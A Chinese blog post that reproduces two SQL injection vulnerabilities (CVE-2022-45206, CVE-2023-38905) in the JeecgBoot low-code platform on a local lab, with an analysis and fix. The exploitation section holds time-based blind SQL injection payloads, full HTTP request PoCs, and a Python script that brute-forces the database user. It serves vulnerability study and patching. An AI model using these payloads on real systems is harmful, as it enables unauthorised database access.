首页 > 数据库 >【漏洞复现】CVE-2022-45206 & CVE-2023-38905 SQL Injection

【漏洞复现】CVE-2022-45206 & CVE-2023-38905 SQL Injection

时间:2024-12-21 13:27:14浏览次数:6  
标签:38905 SQL boot Accept sleep user time CVE jeecg

漏洞信息

NVD - CVE-2022-45206

Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/duplicate/check.

NVD - CVE-2023-38905

SQL injection vulnerability in Jeecg-boot v.3.5.0 and before allows a local attacker to cause a denial of service via the Benchmark, PG_Sleep, DBMS_Lock.Sleep, Waitfor, DECODE, and DBMS_PIPE.RECEIVE_MESSAGE functions.

背景介绍

JeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x/3.x,SpringCloud,Ant Design&Vue3,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发! JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生成器-> 手工MERGE, 帮助Java项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!一系列低代码能力:Online表单、Online报表、Online图表、仪表盘/门户设计、表单设计、流程设计、报表设计、大屏设计 等等…

• 主页:https://www.jeecg.com

• 源码:https://github.com/jeecgboot/JeecgBoot

环境搭建

参考这篇博客完成环境搭建:【环境搭建】Jeecg-Boot v3.5.0 Docker搭建-CSDN博客

JeecgBoot 后台服务API接口文档:http://172.18.0.4:8080/jeecg-boot/doc.html#/home

由于需要先登录才能配置Token,可以参考这篇博客:JeecgBoot 后台服务API调用方式详解

先获取验证码,这里的参数key需要和后面登录的参数checkKey保持一致:

在这里插入图片描述

填上验证码、checkKey、密码、用户名,登录,然后就可以看到token和id了,这两个参数在后面的构造请求中有用:

在这里插入图片描述

  • 默认账号:admin
  • 默认密码:123456

CVE-2023-38905漏洞复现

参考:https://github.com/jeecgboot/JeecgBoot/issues/4737

进入重复校验接口:

在这里插入图片描述

抓包,修改fieldName参数为Payload:

# Payload
1+and	if(user( )='root@localhost',sleep(0),sleep(10))
# Payload after encoding
1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))

很简单,这段SQL代码可以通过if语句时间盲注爆破出user(),如果睡眠10秒就是猜错了,响应秒回就是猜对了。

在这里插入图片描述

POC:

GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&fieldVal=1000&dataId=2000 HTTP/1.1
Host: 172.18.0.4:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzM5MTc2OTIsInVzZXJuYW1lIjoiYWRtaW4ifQ.gw5GBcr_PQCEaIVXPkpevAWP0clXj3PORdA_TKDqDus
Request-Origion: Knife4j
Content-Type: application/x-www-form-urlencoded
knife4j-gateway-code: jeecg-boot
Connection: keep-alive
Referer: http://172.18.0.4:8080/jeecg-boot/doc.html
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; HMACCOUNT=8C21B134ADC13ED8

发包后即可发现执行了sleep10秒:

在这里插入图片描述

通过这个原理可以写出最简单的穷举爆破exp.py:

import requests
import time

base_url = "http://172.18.0.4:8080/jeecg-boot/sys/duplicate/check"

fixed_params = {
    'tableName': 'sys_log',
    'fieldVal': '1000',
    'dataId': '2000'
}

headers = {
    'Host': '172.18.0.4:8080',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': '*/*',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'X-Access-Token': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzM5MTc2OTIsInVzZXJuYW1lIjoiYWRtaW4ifQ.gw5GBcr_PQCEaIVXPkpevAWP0clXj3PORdA_TKDqDus',  
    'Referer': 'http://172.18.0.4:8080/jeecg-boot/doc.html',
    'Cookie': 'Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1733913830; HMACCOUNT=8C21B134ADC13ED8'  
}

usernames = [
    'root@localhost',
    'admin@localhost',
    'user@localhost',
]

threshold = 2.0

for username in usernames:
    payload = f"1 and if(user()='{username}',sleep(0),sleep(10))"
    params = fixed_params.copy()
    params['fieldName'] = payload
    
    start_time = time.time()
    response = requests.get(base_url, params=params, headers=headers)
    end_time = time.time()
    response_time = end_time - start_time

    print(f"Testing user: {username}, Response Time: {response_time:.2f} seconds")
    if response_time < threshold:
        print(f"[+] Success! The current user is: {username}")
        break
else:
    print("[-] Failed to determine the current user.")

漏洞复现

参考:https://github.com/jeecgboot/JeecgBoot/issues/4129

Payload:

updatexml(1,(select/**/if(length("aaa")>5,1,sleep(10)) union select/**/1),1)

抓包信息如下:

在这里插入图片描述

POC:

GET /jeecg-boot/sys/duplicate/check?dataId=%272000aa&fieldName=updatexml(1%2C(select%2F**%2Fif(length(%22aaa%22)%3E5%2C1%2Csleep(10))%20union%20select%2F**%2F1)%2C1)&fieldVal=a&tableName=sys_log HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQxMjU2NjYsInVzZXJuYW1lIjoiYWRtaW4ifQ.z35WNdB69X091j6kDsWwo2XkWvdppGrpXeIc7Kv2LPc
Request-Origion: Knife4j
Content-Type: application/x-www-form-urlencoded
knife4j-gateway-code: ROOT
Connection: keep-alive
Referer: http://127.0.0.1:8080/jeecg-boot/

成功SQL注入:

在这里插入图片描述

漏洞分析

source位于org.jeecg.modules.system.controller.DuplicateCheckController#doDuplicateCheck

sink位于org.jeecg.modules.system.mapper.SysDictMapper#duplicateCheckCountSql

修复方案

漏洞修复方案:https://my.oschina.net/jeecg/blog/10107636

对BENCHMARK、PG_SLEEP、DBMS_LOCK.SLEEP、WAITFOR、DECODE、DBMS_PIPE.RECEIVE_MESSAGE这些能造成延时的函数进行过滤。

标签:38905,SQL,boot,Accept,sleep,user,time,CVE,jeecg
From: https://blog.csdn.net/Mitchell_Donovan/article/details/144608056

相关文章

  • MySQL 8.0 新特性详解
    MySQL8.0引入了许多重要的功能和改进,这些特性显著提升了数据库的性能、可用性和开发体验。以下是MySQL8.0的主要新特性及其详细解析:降序索引支持MySQL8.0支持降序索引,而之前版本即使语法支持,实际仍为升序。通过降序索引,查询性能在某些场景中得到显著优化。示例CR......
  • MySQL 全局参数配置详解
    引言合理的全局参数配置对于MySQL数据库的性能和稳定性至关重要。通过调整这些参数,可以优化服务器资源的使用效率,提高查询响应速度,并确保系统的可靠性和安全性。本文将详细介绍几个关键的MySQL全局参数及其最佳实践配置建议,帮助读者构建一个高效稳定的MySQL环境。一、连......
  • 免费送源码:Java+B/S+MySQL springboot电影推荐系统 计算机毕业设计原创定制
             摘 要随着互联网与移动互联网迅速普及,网络上的电影娱乐信息数量相当庞大,人们对获取感兴趣的电影娱乐信息的需求越来越大,个性化的电影推荐系统成为一个热门。然而电影信息的表示相当复杂,己有的相似度计算方法与推荐算法都各有优势,导致单一的相似度计算方......
  • 【2024最新】基于Python+Mysql+django的公务员考试信息管理系统Lw+PPT
    作者:计算机搬砖家开发技术:SpringBoot、php、Python、小程序、SSM、Vue、MySQL、JSP、ElementUI等,“文末源码”。专栏推荐:SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码精品专栏:Java精选实战项目源码、Python精选实战项目源码、大数据精选实战项目源码......
  • 【2024最新】基于Python+Mysql+django的宾馆管理系统Lw+PPT
    作者:计算机搬砖家开发技术:SpringBoot、php、Python、小程序、SSM、Vue、MySQL、JSP、ElementUI等,“文末源码”。专栏推荐:SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码精品专栏:Java精选实战项目源码、Python精选实战项目源码、大数据精选实战项目源码......
  • 【2024最新】基于Python+Mysql+django的高校教室管理系统Lw+PPT
    作者:计算机搬砖家开发技术:SpringBoot、php、Python、小程序、SSM、Vue、MySQL、JSP、ElementUI等,“文末源码”。专栏推荐:SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码精品专栏:Java精选实战项目源码、Python精选实战项目源码、大数据精选实战项目源码......
  • 免费送源码:Java+ssm+MySQL springboot 商铺租赁管理系统 计算机毕业设计原创定制
    摘要本论文主要论述了如何使用springboot商铺租赁管理系统,本系统将严格按照软件开发流程进行各个阶段的工作,采用B/S架构JAVA技术,面向对象编程思想进行项目开发。在引言中,作者将论述商铺租赁管理系统的当前背景以及系统开发的目的,后续章节将严格按照软件开发流程,对系统......
  • php毕业设计宠物商城php的宠物购物商城的设计与实现php毕业设计课程设计在线购物商城
     一,功能介绍        前台主要包括网站首页、商品推荐、最新商品、新闻咨询、商品分类、商品资讯、评论、登录、注册、加入购物车、结算、个人中心等功能模块商品推荐、最新商品在商品推荐、最新商品模块,用户可以查看全部商品信息,选择商品进行添加购物车等操作,购......
  • 物联网职业技能大赛:mysql数据库通用教程
    ubuntu安装mysql有外网状态:sudoaptupdatesudoaptsearchmysql-serversudoaptinstall-ymysql-serversudoaptinstall-ymysql-server-8.0ubuntu安装mysql离线状态:scp-p端口压缩包目录虚拟机用户名@IP地址:指定文件目录#zip格式unzip文件名通用操作:sud......
  • 使用sqlmap进行联合查询注入要点
    sqlmap-u"http://192.168.1.117/sqli-labs/Less-1/?id=1"--technique=U--dbs-u<目标URL>:指定目标URL(包括注入点)。--technique=U:告诉sqlmap使用UNION注入技术(U代表UNION)。--dbs:列出所有数据库。执行后,sqlmap会尝试使用UNION注入获取数据库列表。如果成功,它将......